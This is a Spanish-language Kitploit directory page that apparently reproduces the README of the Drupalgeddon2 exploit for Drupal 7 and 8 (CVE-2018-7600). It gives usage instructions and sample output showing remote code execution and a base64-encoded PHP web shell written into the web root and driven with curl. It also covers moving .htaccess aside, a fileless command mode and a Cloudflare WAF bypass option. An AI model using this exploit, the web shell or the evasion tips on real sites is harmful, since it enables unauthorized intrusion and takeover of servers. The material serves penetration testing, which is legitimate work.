Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Drupalgeddon2 — Exploit para Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
Herramientas/GitHubGitHub/dreadlocked/drupalgeddon2
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de Penetración
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Exploit para Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Ver Repositorio
60016923hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Soporta:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, atacando los parámetros account/mail y #post_render, usando la función passthru de PHP
  • Drupal < 7.58 ~ URL user/password, atacando el formulario triggering_element_name y el parámetro #post_render, usando la función de PHP
passthru
  • Funciona con comandos directos (también conocido como método sin archivos) o escribe un shell PHP en la raíz web (./) o subdirectorios (./sites/default/ y ./sites/default/files/)
  • Soporta objetivos Linux y Windows
  • Detecta automáticamente la versión de Drupal (¡o hace una buena suposición!)
  • El método user/register fue elegido para Drupal v8.x, ya que devuelve HTTP 200 y renderiza la salida en la respuesta JSON data (descomenta el código para el método timezone/#lazy_builder, que devolverá HTTP 500 y a ciegas!) (Más información)

    Autores:

    • Hans Topo (@_dreadlocked)
    • g0tmi1k (@g0tmi1k)

    Notas:

    • Para usuarios/configuraciones avanzadas hay un exploit más personalizable. Consulta la sección drupalgeddon2-customizable-beta.rb
    • Antes de abrir un issue, por favor, lee la sección de solución de problemas al final. ¡Gracias!

    Uso:

    root@kitploit:~
    $ ruby drupalgeddon2.rb
    Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
           ruby drupalgeddon2.rb https://example.com
    $
    

    Los parámetros --verbose y --authentication se pueden añadir en cualquier orden después de y ambos son opcionales. Si se especifica --authentication, se te pedirá que introduzcas:

    • nombre de usuario,
    • contraseña,
    • nombre del campo del formulario para el nombre de usuario,
    • nombre del campo del formulario para la contraseña,
    • ruta URL de la página web de inicio de sesión, p. ej., user/login
    • posible sufijo a añadir después de las credenciales en el envío del formulario, p. ej., form_id, etc.

    Esto sirve para soportar la explotación de sitios web que primero requieren un inicio de sesión web basado en POST y que responden con una cookie de sesión tras una autenticación exitosa.

    Ejemplo con Drupal v8.x

    Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-8/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-8/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TTTBJJBP
    [+] Result : TTTBJJBP
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
    ubuntu140045x64-drupal>> uname -a
    Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    ubuntu140045x64-drupal>>
    

    Ejemplo con Drupal v7.x

    Drupal < v7.58

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-7/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-7/
    --------------------------------------------------------------------------------
    [+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal!: v7.31
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TKYPVVJJ
    [+] Result : TKYPVVJJ
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
    
    ubuntu140045x64-drupal>> uptime
     14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
    ubuntu140045x64-drupal>>
    

    Comandos directos / Shell no PHP (también conocido como método sin archivos)

    Si no quieres ni siquiera intentar escribir un shell web PHP en el servidor web, edita el archivo como se muestra (de todos modos, recurrirá a los comandos directos si no puede encontrar una ubicación escribible):

    root@kitploit:~
    try_phpshelltryphpshell = false
    

    Ejemplo

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-nonwrite/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo HYCBAIET
    [+] Result : HYCBAIET
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/files/)
    [*] Moving : ./sites/default/files/.htaccess
    [i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
    [!] FAILED: Couldn't find writeable web path
    --------------------------------------------------------------------------------
    [*] Dropping back to direct commands
    drupalgeddon2>> lsb_release -a
    Distributor ID:	Ubuntu
    Description:	Ubuntu 14.04.5 LTS
    Release:	14.04
    Codename:	trusty
    drupalgeddon2>>
    

    Soporte para proxy

    Para soporte de proxy (p. ej., Burp), edita el archivo, sustituyendo los valores por los tuyos. Ejemplo:

    root@kitploit:~
    proxy_addr = "192.168.0.130"
    proxy_port = 8080
    

    Experimental pero utilizable: drupalgeddon2-customizable-beta.rb

    drupalgeddon2-customizable-beta.rb está pensado para usuarios más avanzados, ya que es más personalizable. Permite especificar algunos parámetros más, como el método PHP a usar (no solo system() o passthru()) y la forma de llegar al formulario user/password.

    Ejemplos de uso:

    root@kitploit:~
    Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
    More info: -h
        -u, --url URL                    [Required] Service URL
        -v, --version VERSION            [Required] Target Drupal version {7,8}
        -c, --command COMMAND            [Required] Command to execute
        -m, --method PHP_METHOD          [Optional] PHP Method to use, by default: passthru
            --form                       [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
            --cloudflare                 [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
        -h, --help                       Prints this help
    

    Solución de problemas:

    • Siempre que obtengas un error del tipo cannot load such file "LoadError", ejecuta sudo gem install <missing dependency>. En particular, puede que necesites instalar la dependencia highline con sudo gem install highline

    • El objetivo puede redirigir a otra ruta, donde existe Drupal (como respuestas HTTP 30x)

      • Solución: Asegúrate de que estás usando la ruta correcta de Drupal
    • Hay una limitación de los caracteres permitidos que se pueden usar en el payload/comando

      • Solución: Esto se debe a cómo la vulnerabilidad los ve y a que se codifican para la petición URL. Codifica el payload y decodifícalo en el objetivo. Por ejemplo, con base64
    • Si el objetivo es Linux y no usa "GNU base64", puede ser la versión BSD (o no está instalado en absoluto!)

      • Solución: Cambia a base64 -D (en lugar de base64 -d) o usa el método sin archivos
    • Si el objetivo usa Windows, la escritura del shell PHP siempre falla

      • Solución: Usa el método sin archivos. Esto se debe a que la salida se canaliza a un programa Unix, en lugar de usar certutil o PowerShell
    • Drupal v8.x - ./.htaccess evitará que cualquier script PHP se ejecute en ./sites/default/ si esa es la carpeta escribible

      • Solución: Cambia al método sin archivos
    • Drupal v8.x - la "clean URL" no está habilitada en el objetivo

      • Solución: N/A - No vulnerable =(
    • Drupal v7.x - Si el formulario /user/password está deshabilitado, necesitas encontrar otro formulario (¡recuerda cambiar el exploit!)

      • Solución: El parámetro form_id cambiará dependiendo del formulario utilizado para explotar la vulnerabilidad

    Enlaces:

    • Aviso Drupal SA-CORE-2018-002 ~ https://www.drupal.org/sa-core-2018-002
    • CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
    • Informe e investigación ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
    • Comandos cURL/PoC de ejemplo ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
    Descargar herramienta